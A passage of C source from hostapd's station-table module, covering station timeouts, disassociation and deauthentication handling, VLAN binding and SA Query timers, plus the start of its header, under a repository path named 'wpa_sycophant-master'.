STA_DISASSOC; wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " "for " MACSTR " (%d seconds - AP_DISASSOC_DELAY)", __func__, MAC2STR(sta->addr), AP_DISASSOC_DELAY); eloop_register_timeout(AP_DISASSOC_DELAY, 0, ap_handle_timer, hapd, sta); break; case STA_DISASSOC: case STA_DISASSOC_FROM_CLI: ap_sta_set_authorized(hapd, sta, 0); sta->flags &= ~WLAN_STA_ASSOC; ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); if (!sta->acct_terminate_cause) sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_IDLE_TIMEOUT; accounting_sta_stop(hapd, sta); ieee802_1x_free_station(hapd, sta); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "disassociated due to " "inactivity"); reason = (sta->timeout_next == STA_DISASSOC) ? WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY : WLAN_REASON_PREV_AUTH_NOT_VALID; sta->timeout_next = STA_DEAUTH; wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " "for " MACSTR " (%d seconds - AP_DEAUTH_DELAY)", __func__, MAC2STR(sta->addr), AP_DEAUTH_DELAY); eloop_register_timeout(AP_DEAUTH_DELAY, 0, ap_handle_timer, hapd, sta); mlme_disassociate_indication(hapd, sta, reason); break; case STA_DEAUTH: case STA_REMOVE: hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "deauthenticated due to " "inactivity (timer DEAUTH/REMOVE)"); if (!sta->acct_terminate_cause) sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_IDLE_TIMEOUT; mlme_deauthenticate_indication( hapd, sta, WLAN_REASON_PREV_AUTH_NOT_VALID); ap_free_sta(hapd, sta); break; } } static void ap_handle_session_timer(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; wpa_printf(MSG_DEBUG, "%s: Session timer for STA " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); if (!(sta->flags & WLAN_STA_AUTH)) { if (sta->flags & WLAN_STA_GAS) { wpa_printf(MSG_DEBUG, "GAS: Remove temporary STA " "entry " MACSTR, MAC2STR(sta->addr)); ap_free_sta(hapd, sta); } return; } hostapd_drv_sta_deauth(hapd, sta->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); mlme_deauthenticate_indication(hapd, sta, WLAN_REASON_PREV_AUTH_NOT_VALID); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "deauthenticated due to " "session timeout"); sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_SESSION_TIMEOUT; ap_free_sta(hapd, sta); } void ap_sta_replenish_timeout(struct hostapd_data *hapd, struct sta_info *sta, u32 session_timeout) { if (eloop_replenish_timeout(session_timeout, 0, ap_handle_session_timer, hapd, sta) == 1) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "setting session timeout " "to %d seconds", session_timeout); } } void ap_sta_session_timeout(struct hostapd_data *hapd, struct sta_info *sta, u32 session_timeout) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "setting session timeout to %d " "seconds", session_timeout); eloop_cancel_timeout(ap_handle_session_timer, hapd, sta); eloop_register_timeout(session_timeout, 0, ap_handle_session_timer, hapd, sta); } void ap_sta_no_session_timeout(struct hostapd_data *hapd, struct sta_info *sta) { eloop_cancel_timeout(ap_handle_session_timer, hapd, sta); } static void ap_handle_session_warning_timer(void *eloop_ctx, void *timeout_ctx) { #ifdef CONFIG_WNM_AP struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; wpa_printf(MSG_DEBUG, "%s: WNM: Session warning time reached for " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); if (sta->hs20_session_info_url == NULL) return; wnm_send_ess_disassoc_imminent(hapd, sta, sta->hs20_session_info_url, sta->hs20_disassoc_timer); #endif /* CONFIG_WNM_AP */ } void ap_sta_session_warning_timeout(struct hostapd_data *hapd, struct sta_info *sta, int warning_time) { eloop_cancel_timeout(ap_handle_session_warning_timer, hapd, sta); eloop_register_timeout(warning_time, 0, ap_handle_session_warning_timer, hapd, sta); } struct sta_info * ap_sta_add(struct hostapd_data *hapd, const u8 *addr) { struct sta_info *sta; sta = ap_get_sta(hapd, addr); if (sta) return sta; wpa_printf(MSG_DEBUG, " New STA"); if (hapd->num_sta >= hapd->conf->max_num_sta) { /* FIX: might try to remove some old STAs first? */ wpa_printf(MSG_DEBUG, "no more room for new STAs (%d/%d)", hapd->num_sta, hapd->conf->max_num_sta); return NULL; } sta = os_zalloc(sizeof(struct sta_info)); if (sta == NULL) { wpa_printf(MSG_ERROR, "malloc failed"); return NULL; } sta->acct_interim_interval = hapd->conf->acct_interim_interval; if (accounting_sta_get_id(hapd, sta) < 0) { os_free(sta); return NULL; } if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_INACTIVITY_TIMER)) { wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " "for " MACSTR " (%d seconds - ap_max_inactivity)", __func__, MAC2STR(addr), hapd->conf->ap_max_inactivity); eloop_register_timeout(hapd->conf->ap_max_inactivity, 0, ap_handle_timer, hapd, sta); } /* initialize STA info data */ os_memcpy(sta->addr, addr, ETH_ALEN); sta->next = hapd->sta_list; hapd->sta_list = sta; hapd->num_sta++; ap_sta_hash_add(hapd, sta); ap_sta_remove_in_other_bss(hapd, sta); sta->last_seq_ctrl = WLAN_INVALID_MGMT_SEQ; dl_list_init(&sta->ip6addr); #ifdef CONFIG_TAXONOMY sta_track_claim_taxonomy_info(hapd->iface, addr, &sta->probe_ie_taxonomy); #endif /* CONFIG_TAXONOMY */ return sta; } static int ap_sta_remove(struct hostapd_data *hapd, struct sta_info *sta) { ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); if (sta->ipaddr) hostapd_drv_br_delete_ip_neigh(hapd, 4, (u8 *) &sta->ipaddr); ap_sta_ip6addr_del(hapd, sta); wpa_printf(MSG_DEBUG, "%s: Removing STA " MACSTR " from kernel driver", hapd->conf->iface, MAC2STR(sta->addr)); if (hostapd_drv_sta_remove(hapd, sta->addr) && sta->flags & WLAN_STA_ASSOC) { wpa_printf(MSG_DEBUG, "%s: Could not remove station " MACSTR " from kernel driver", hapd->conf->iface, MAC2STR(sta->addr)); return -1; } sta->added_unassoc = 0; return 0; } static void ap_sta_remove_in_other_bss(struct hostapd_data *hapd, struct sta_info *sta) { struct hostapd_iface *iface = hapd->iface; size_t i; for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *bss = iface->bss[i]; struct sta_info *sta2; /* bss should always be set during operation, but it may be * NULL during reconfiguration. Assume the STA is not * associated to another BSS in that case to avoid NULL pointer * dereferences. */ if (bss == hapd || bss == NULL) continue; sta2 = ap_get_sta(bss, sta->addr); if (!sta2) continue; wpa_printf(MSG_DEBUG, "%s: disconnect old STA " MACSTR " association from another BSS %s", hapd->conf->iface, MAC2STR(sta2->addr), bss->conf->iface); ap_sta_disconnect(bss, sta2, sta2->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); } } static void ap_sta_disassoc_cb_timeout(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; wpa_printf(MSG_DEBUG, "%s: Disassociation callback for STA " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); ap_sta_remove(hapd, sta); mlme_disassociate_indication(hapd, sta, sta->disassoc_reason); } void ap_sta_disassociate(struct hostapd_data *hapd, struct sta_info *sta, u16 reason) { wpa_printf(MSG_DEBUG, "%s: disassociate STA " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); sta->last_seq_ctrl = WLAN_INVALID_MGMT_SEQ; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211AD) { /* Skip deauthentication in DMG/IEEE 802.11ad */ sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK); sta->timeout_next = STA_REMOVE; } else { sta->flags &= ~(WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK); sta->timeout_next = STA_DEAUTH; } ap_sta_set_authorized(hapd, sta, 0); wpa_printf(MSG_DEBUG, "%s: reschedule ap_handle_timer timeout " "for " MACSTR " (%d seconds - " "AP_MAX_INACTIVITY_AFTER_DISASSOC)", __func__, MAC2STR(sta->addr), AP_MAX_INACTIVITY_AFTER_DISASSOC); eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_register_timeout(AP_MAX_INACTIVITY_AFTER_DISASSOC, 0, ap_handle_timer, hapd, sta); accounting_sta_stop(hapd, sta); ieee802_1x_free_station(hapd, sta); sta->disassoc_reason = reason; sta->flags |= WLAN_STA_PENDING_DISASSOC_CB; eloop_cancel_timeout(ap_sta_disassoc_cb_timeout, hapd, sta); eloop_register_timeout(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS ? 2 : 0, 0, ap_sta_disassoc_cb_timeout, hapd, sta); } static void ap_sta_deauth_cb_timeout(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; wpa_printf(MSG_DEBUG, "%s: Deauthentication callback for STA " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); ap_sta_remove(hapd, sta); mlme_deauthenticate_indication(hapd, sta, sta->deauth_reason); } void ap_sta_deauthenticate(struct hostapd_data *hapd, struct sta_info *sta, u16 reason) { if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211AD) { /* Deauthentication is not used in DMG/IEEE 802.11ad; * disassociate the STA instead. */ ap_sta_disassociate(hapd, sta, reason); return; } wpa_printf(MSG_DEBUG, "%s: deauthenticate STA " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); sta->last_seq_ctrl = WLAN_INVALID_MGMT_SEQ; sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC | WLAN_STA_ASSOC_REQ_OK); ap_sta_set_authorized(hapd, sta, 0); sta->timeout_next = STA_REMOVE; wpa_printf(MSG_DEBUG, "%s: reschedule ap_handle_timer timeout " "for " MACSTR " (%d seconds - " "AP_MAX_INACTIVITY_AFTER_DEAUTH)", __func__, MAC2STR(sta->addr), AP_MAX_INACTIVITY_AFTER_DEAUTH); eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_register_timeout(AP_MAX_INACTIVITY_AFTER_DEAUTH, 0, ap_handle_timer, hapd, sta); accounting_sta_stop(hapd, sta); ieee802_1x_free_station(hapd, sta); sta->deauth_reason = reason; sta->flags |= WLAN_STA_PENDING_DEAUTH_CB; eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta); eloop_register_timeout(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS ? 2 : 0, 0, ap_sta_deauth_cb_timeout, hapd, sta); } #ifdef CONFIG_WPS int ap_sta_wps_cancel(struct hostapd_data *hapd, struct sta_info *sta, void *ctx) { if (sta && (sta->flags & WLAN_STA_WPS)) { ap_sta_deauthenticate(hapd, sta, WLAN_REASON_PREV_AUTH_NOT_VALID); wpa_printf(MSG_DEBUG, "WPS: %s: Deauth sta=" MACSTR, __func__, MAC2STR(sta->addr)); return 1; } return 0; } #endif /* CONFIG_WPS */ static int ap_sta_get_free_vlan_id(struct hostapd_data *hapd) { struct hostapd_vlan *vlan; int vlan_id = MAX_VLAN_ID + 2; retry: for (vlan = hapd->conf->vlan; vlan; vlan = vlan->next) { if (vlan->vlan_id == vlan_id) { vlan_id++; goto retry; } } return vlan_id; } int ap_sta_set_vlan(struct hostapd_data *hapd, struct sta_info *sta, struct vlan_description *vlan_desc) { struct hostapd_vlan *vlan = NULL, *wildcard_vlan = NULL; int old_vlan_id, vlan_id = 0, ret = 0; if (hapd->conf->ssid.dynamic_vlan == DYNAMIC_VLAN_DISABLED) vlan_desc = NULL; /* Check if there is something to do */ if (hapd->conf->ssid.per_sta_vif && !sta->vlan_id) { /* This sta is lacking its own vif */ } else if (hapd->conf->ssid.dynamic_vlan == DYNAMIC_VLAN_DISABLED && !hapd->conf->ssid.per_sta_vif && sta->vlan_id) { /* sta->vlan_id needs to be reset */ } else if (!vlan_compare(vlan_desc, sta->vlan_desc)) { return 0; /* nothing to change */ } /* Now the real VLAN changed or the STA just needs its own vif */ if (hapd->conf->ssid.per_sta_vif) { /* Assign a new vif, always */ /* find a free vlan_id sufficiently big */ vlan_id = ap_sta_get_free_vlan_id(hapd); /* Get wildcard VLAN */ for (vlan = hapd->conf->vlan; vlan; vlan = vlan->next) { if (vlan->vlan_id == VLAN_ID_WILDCARD) break; } if (!vlan) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "per_sta_vif missing wildcard"); vlan_id = 0; ret = -1; goto done; } } else if (vlan_desc && vlan_desc->notempty) { for (vlan = hapd->conf->vlan; vlan; vlan = vlan->next) { if (!vlan_compare(&vlan->vlan_desc, vlan_desc)) break; if (vlan->vlan_id == VLAN_ID_WILDCARD) wildcard_vlan = vlan; } if (vlan) { vlan_id = vlan->vlan_id; } else if (wildcard_vlan) { vlan = wildcard_vlan; vlan_id = vlan_desc->untagged; if (vlan_desc->tagged[0]) { /* Tagged VLAN configuration */ vlan_id = ap_sta_get_free_vlan_id(hapd); } } else { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "missing vlan and wildcard for vlan=%d%s", vlan_desc->untagged, vlan_desc->tagged[0] ? "+" : ""); vlan_id = 0; ret = -1; goto done; } } if (vlan && vlan->vlan_id == VLAN_ID_WILDCARD) { vlan = vlan_add_dynamic(hapd, vlan, vlan_id, vlan_desc); if (vlan == NULL) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "could not add dynamic VLAN interface for vlan=%d%s", vlan_desc ? vlan_desc->untagged : -1, (vlan_desc && vlan_desc->tagged[0]) ? "+" : ""); vlan_id = 0; ret = -1; goto done; } hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "added new dynamic VLAN interface '%s'", vlan->ifname); } else if (vlan && vlan->dynamic_vlan > 0) { vlan->dynamic_vlan++; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "updated existing dynamic VLAN interface '%s'", vlan->ifname); } done: old_vlan_id = sta->vlan_id; sta->vlan_id = vlan_id; sta->vlan_desc = vlan ? &vlan->vlan_desc : NULL; if (vlan_id != old_vlan_id && old_vlan_id) vlan_remove_dynamic(hapd, old_vlan_id); return ret; } int ap_sta_bind_vlan(struct hostapd_data *hapd, struct sta_info *sta) { #ifndef CONFIG_NO_VLAN const char *iface; struct hostapd_vlan *vlan = NULL; int ret; int old_vlanid = sta->vlan_id_bound; iface = hapd->conf->iface; if (hapd->conf->ssid.vlan[0]) iface = hapd->conf->ssid.vlan; if (sta->vlan_id > 0) { for (vlan = hapd->conf->vlan; vlan; vlan = vlan->next) { if (vlan->vlan_id == sta->vlan_id) break; } if (vlan) iface = vlan->ifname; } /* * Do not increment ref counters if the VLAN ID remains same, but do * not skip hostapd_drv_set_sta_vlan() as hostapd_drv_sta_remove() might * have been called before. */ if (sta->vlan_id == old_vlanid) goto skip_counting; if (sta->vlan_id > 0 && vlan == NULL) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "could not find VLAN for " "binding station to (vlan_id=%d)", sta->vlan_id); ret = -1; goto done; } else if (vlan && vlan->dynamic_vlan > 0) { vlan->dynamic_vlan++; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "updated existing dynamic VLAN interface '%s'", iface); } /* ref counters have been increased, so mark the station */ sta->vlan_id_bound = sta->vlan_id; skip_counting: hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "binding station to interface " "'%s'", iface); if (wpa_auth_sta_set_vlan(sta->wpa_sm, sta->vlan_id) < 0) wpa_printf(MSG_INFO, "Failed to update VLAN-ID for WPA"); ret = hostapd_drv_set_sta_vlan(iface, hapd, sta->addr, sta->vlan_id); if (ret < 0) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "could not bind the STA " "entry to vlan_id=%d", sta->vlan_id); } /* During 1x reauth, if the vlan id changes, then remove the old id. */ if (old_vlanid > 0 && old_vlanid != sta->vlan_id) vlan_remove_dynamic(hapd, old_vlanid); done: return ret; #else /* CONFIG_NO_VLAN */ return 0; #endif /* CONFIG_NO_VLAN */ } #ifdef CONFIG_IEEE80211W int ap_check_sa_query_timeout(struct hostapd_data *hapd, struct sta_info *sta) { u32 tu; struct os_reltime now, passed; os_get_reltime(&now); os_reltime_sub(&now, &sta->sa_query_start, &passed); tu = (passed.sec * 1000000 + passed.usec) / 1024; if (hapd->conf->assoc_sa_query_max_timeout < tu) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "association SA Query timed out"); sta->sa_query_timed_out = 1; os_free(sta->sa_query_trans_id); sta->sa_query_trans_id = NULL; sta->sa_query_count = 0; eloop_cancel_timeout(ap_sa_query_timer, hapd, sta); return 1; } return 0; } static void ap_sa_query_timer(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; unsigned int timeout, sec, usec; u8 *trans_id, *nbuf; wpa_printf(MSG_DEBUG, "%s: SA Query timer for STA " MACSTR " (count=%d)", hapd->conf->iface, MAC2STR(sta->addr), sta->sa_query_count); if (sta->sa_query_count > 0 && ap_check_sa_query_timeout(hapd, sta)) return; nbuf = os_realloc_array(sta->sa_query_trans_id, sta->sa_query_count + 1, WLAN_SA_QUERY_TR_ID_LEN); if (nbuf == NULL) return; if (sta->sa_query_count == 0) { /* Starting a new SA Query procedure */ os_get_reltime(&sta->sa_query_start); } trans_id = nbuf + sta->sa_query_count * WLAN_SA_QUERY_TR_ID_LEN; sta->sa_query_trans_id = nbuf; sta->sa_query_count++; if (os_get_random(trans_id, WLAN_SA_QUERY_TR_ID_LEN) < 0) { /* * We don't really care which ID is used here, so simply * hardcode this if the mostly theoretical os_get_random() * failure happens. */ trans_id[0] = 0x12; trans_id[1] = 0x34; } timeout = hapd->conf->assoc_sa_query_retry_timeout; sec = ((timeout / 1000) * 1024) / 1000; usec = (timeout % 1000) * 1024; eloop_register_timeout(sec, usec, ap_sa_query_timer, hapd, sta); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "association SA Query attempt %d", sta->sa_query_count); ieee802_11_send_sa_query_req(hapd, sta->addr, trans_id); } void ap_sta_start_sa_query(struct hostapd_data *hapd, struct sta_info *sta) { ap_sa_query_timer(hapd, sta); } void ap_sta_stop_sa_query(struct hostapd_data *hapd, struct sta_info *sta) { eloop_cancel_timeout(ap_sa_query_timer, hapd, sta); os_free(sta->sa_query_trans_id); sta->sa_query_trans_id = NULL; sta->sa_query_count = 0; } #endif /* CONFIG_IEEE80211W */ void ap_sta_set_authorized(struct hostapd_data *hapd, struct sta_info *sta, int authorized) { const u8 *dev_addr = NULL; char buf[100]; #ifdef CONFIG_P2P u8 addr[ETH_ALEN]; u8 ip_addr_buf[4]; #endif /* CONFIG_P2P */ if (!!authorized == !!(sta->flags & WLAN_STA_AUTHORIZED)) return; if (authorized) sta->flags |= WLAN_STA_AUTHORIZED; else sta->flags &= ~WLAN_STA_AUTHORIZED; #ifdef CONFIG_P2P if (hapd->p2p_group == NULL) { if (sta->p2p_ie != NULL && p2p_parse_dev_addr_in_p2p_ie(sta->p2p_ie, addr) == 0) dev_addr = addr; } else dev_addr = p2p_group_get_dev_addr(hapd->p2p_group, sta->addr); if (dev_addr) os_snprintf(buf, sizeof(buf), MACSTR " p2p_dev_addr=" MACSTR, MAC2STR(sta->addr), MAC2STR(dev_addr)); else #endif /* CONFIG_P2P */ os_snprintf(buf, sizeof(buf), MACSTR, MAC2STR(sta->addr)); if (hapd->sta_authorized_cb) hapd->sta_authorized_cb(hapd->sta_authorized_cb_ctx, sta->addr, authorized, dev_addr); if (authorized) { char ip_addr[100]; ip_addr[0] = '\0'; #ifdef CONFIG_P2P if (wpa_auth_get_ip_addr(sta->wpa_sm, ip_addr_buf) == 0) { os_snprintf(ip_addr, sizeof(ip_addr), " ip_addr=%u.%u.%u.%u", ip_addr_buf[0], ip_addr_buf[1], ip_addr_buf[2], ip_addr_buf[3]); } #endif /* CONFIG_P2P */ wpa_msg(hapd->msg_ctx, MSG_INFO, AP_STA_CONNECTED "%s%s", buf, ip_addr); if (hapd->msg_ctx_parent && hapd->msg_ctx_parent != hapd->msg_ctx) wpa_msg_no_global(hapd->msg_ctx_parent, MSG_INFO, AP_STA_CONNECTED "%s%s", buf, ip_addr); } else { wpa_msg(hapd->msg_ctx, MSG_INFO, AP_STA_DISCONNECTED "%s", buf); if (hapd->msg_ctx_parent && hapd->msg_ctx_parent != hapd->msg_ctx) wpa_msg_no_global(hapd->msg_ctx_parent, MSG_INFO, AP_STA_DISCONNECTED "%s", buf); } #ifdef CONFIG_FST if (hapd->iface->fst) { if (authorized) fst_notify_peer_connected(hapd->iface->fst, sta->addr); else fst_notify_peer_disconnected(hapd->iface->fst, sta->addr); } #endif /* CONFIG_FST */ } void ap_sta_disconnect(struct hostapd_data *hapd, struct sta_info *sta, const u8 *addr, u16 reason) { if (sta) wpa_printf(MSG_DEBUG, "%s: %s STA " MACSTR " reason=%u", hapd->conf->iface, __func__, MAC2STR(sta->addr), reason); else if (addr) wpa_printf(MSG_DEBUG, "%s: %s addr " MACSTR " reason=%u", hapd->conf->iface, __func__, MAC2STR(addr), reason); if (sta == NULL && addr) sta = ap_get_sta(hapd, addr); if (addr) hostapd_drv_sta_deauth(hapd, addr, reason); if (sta == NULL) return; ap_sta_set_authorized(hapd, sta, 0); wpa_auth_sm_event(sta->wpa_sm, WPA_DEAUTH); ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC); wpa_printf(MSG_DEBUG, "%s: %s: reschedule ap_handle_timer timeout " "for " MACSTR " (%d seconds - " "AP_MAX_INACTIVITY_AFTER_DEAUTH)", hapd->conf->iface, __func__, MAC2STR(sta->addr), AP_MAX_INACTIVITY_AFTER_DEAUTH); eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_register_timeout(AP_MAX_INACTIVITY_AFTER_DEAUTH, 0, ap_handle_timer, hapd, sta); sta->timeout_next = STA_REMOVE; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211AD) { /* Deauthentication is not used in DMG/IEEE 802.11ad; * disassociate the STA instead. */ sta->disassoc_reason = reason; sta->flags |= WLAN_STA_PENDING_DISASSOC_CB; eloop_cancel_timeout(ap_sta_disassoc_cb_timeout, hapd, sta); eloop_register_timeout(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS ? 2 : 0, 0, ap_sta_disassoc_cb_timeout, hapd, sta); return; } sta->deauth_reason = reason; sta->flags |= WLAN_STA_PENDING_DEAUTH_CB; eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta); eloop_register_timeout(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS ? 2 : 0, 0, ap_sta_deauth_cb_timeout, hapd, sta); } void ap_sta_deauth_cb(struct hostapd_data *hapd, struct sta_info *sta) { if (!(sta->flags & WLAN_STA_PENDING_DEAUTH_CB)) { wpa_printf(MSG_DEBUG, "Ignore deauth cb for test frame"); return; } sta->flags &= ~WLAN_STA_PENDING_DEAUTH_CB; eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta); ap_sta_deauth_cb_timeout(hapd, sta); } void ap_sta_disassoc_cb(struct hostapd_data *hapd, struct sta_info *sta) { if (!(sta->flags & WLAN_STA_PENDING_DISASSOC_CB)) { wpa_printf(MSG_DEBUG, "Ignore disassoc cb for test frame"); return; } sta->flags &= ~WLAN_STA_PENDING_DISASSOC_CB; eloop_cancel_timeout(ap_sta_disassoc_cb_timeout, hapd, sta); ap_sta_disassoc_cb_timeout(hapd, sta); } void ap_sta_clear_disconnect_timeouts(struct hostapd_data *hapd, struct sta_info *sta) { if (eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta) > 0) wpa_printf(MSG_DEBUG, "%s: Removed ap_sta_deauth_cb_timeout timeout for " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); if (eloop_cancel_timeout(ap_sta_disassoc_cb_timeout, hapd, sta) > 0) wpa_printf(MSG_DEBUG, "%s: Removed ap_sta_disassoc_cb_timeout timeout for " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); if (eloop_cancel_timeout(ap_sta_delayed_1x_auth_fail_cb, hapd, sta) > 0) { wpa_printf(MSG_DEBUG, "%s: Removed ap_sta_delayed_1x_auth_fail_cb timeout for " MACSTR, hapd->conf->iface, MAC2STR(sta->addr)); if (sta->flags & WLAN_STA_WPS) hostapd_wps_eap_completed(hapd); } } int ap_sta_flags_txt(u32 flags, char *buf, size_t buflen) { int res; buf[0] = '\0'; res = os_snprintf(buf, buflen, "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", (flags & WLAN_STA_AUTH ? "[AUTH]" : ""), (flags & WLAN_STA_ASSOC ? "[ASSOC]" : ""), (flags & WLAN_STA_AUTHORIZED ? "[AUTHORIZED]" : ""), (flags & WLAN_STA_PENDING_POLL ? "[PENDING_POLL" : ""), (flags & WLAN_STA_SHORT_PREAMBLE ? "[SHORT_PREAMBLE]" : ""), (flags & WLAN_STA_PREAUTH ? "[PREAUTH]" : ""), (flags & WLAN_STA_WMM ? "[WMM]" : ""), (flags & WLAN_STA_MFP ? "[MFP]" : ""), (flags & WLAN_STA_WPS ? "[WPS]" : ""), (flags & WLAN_STA_MAYBE_WPS ? "[MAYBE_WPS]" : ""), (flags & WLAN_STA_WDS ? "[WDS]" : ""), (flags & WLAN_STA_NONERP ? "[NonERP]" : ""), (flags & WLAN_STA_WPS2 ? "[WPS2]" : ""), (flags & WLAN_STA_GAS ? "[GAS]" : ""), (flags & WLAN_STA_HT ? "[HT]" : ""), (flags & WLAN_STA_VHT ? "[VHT]" : ""), (flags & WLAN_STA_VENDOR_VHT ? "[VENDOR_VHT]" : ""), (flags & WLAN_STA_WNM_SLEEP_MODE ? "[WNM_SLEEP_MODE]" : "")); if (os_snprintf_error(buflen, res)) res = -1; return res; } static void ap_sta_delayed_1x_auth_fail_cb(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; u16 reason; wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "IEEE 802.1X: Scheduled disconnection of " MACSTR " after EAP-Failure", MAC2STR(sta->addr)); reason = sta->disconnect_reason_code; if (!reason) reason = WLAN_REASON_IEEE_802_1X_AUTH_FAILED; ap_sta_disconnect(hapd, sta, sta->addr, reason); if (sta->flags & WLAN_STA_WPS) hostapd_wps_eap_completed(hapd); } void ap_sta_delayed_1x_auth_fail_disconnect(struct hostapd_data *hapd, struct sta_info *sta) { wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "IEEE 802.1X: Force disconnection of " MACSTR " after EAP-Failure in 10 ms", MAC2STR(sta->addr)); /* * Add a small sleep to increase likelihood of previously requested * EAP-Failure TX getting out before this should the driver reorder * operations. */ eloop_cancel_timeout(ap_sta_delayed_1x_auth_fail_cb, hapd, sta); eloop_register_timeout(0, 10000, ap_sta_delayed_1x_auth_fail_cb, hapd, sta); } int ap_sta_pending_delayed_1x_auth_fail_disconnect(struct hostapd_data *hapd, struct sta_info *sta) { return eloop_is_timeout_registered(ap_sta_delayed_1x_auth_fail_cb, hapd, sta); } wpa_sycophant-master/src/ap/sta_info.h000066400000000000000000000257701377436615100204200ustar00rootroot00000000000000/* * hostapd / Station table * Copyright (c) 2002-2017, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef STA_INFO_H #define STA_INFO_H #include "common/defs.h" #include "list.h" #include "vlan.h" #include "common/wpa_common.h" #include "common/ieee802_11_defs.h" /* STA flags */ #define WLAN_STA_AUTH BIT(0) #define WLAN_STA_ASSOC BIT(1) #define WLAN_STA_AUTHORIZED BIT(5) #define WLAN_STA_PENDING_POLL BIT(6) /* pending activity poll not ACKed */ #define WLAN_STA_SHORT_PREAMBLE BIT(7) #define WLAN_STA_PREAUTH BIT(8) #define WLAN_STA_WMM BIT(9) #define WLAN_STA_MFP BIT(10) #define WLAN_STA_HT BIT(11) #define WLAN_STA_WPS BIT(12) #define WLAN_STA_MAYBE_WPS BIT(13) #define WLAN_STA_WDS BIT(14) #define WLAN_STA_ASSOC_REQ_OK BIT(15) #define WLAN_STA_WPS2 BIT(16) #define WLAN_STA_GAS BIT(17) #define WLAN_STA_VHT BIT(18) #define WLAN_STA_WNM_SLEEP_MODE BIT(19) #define 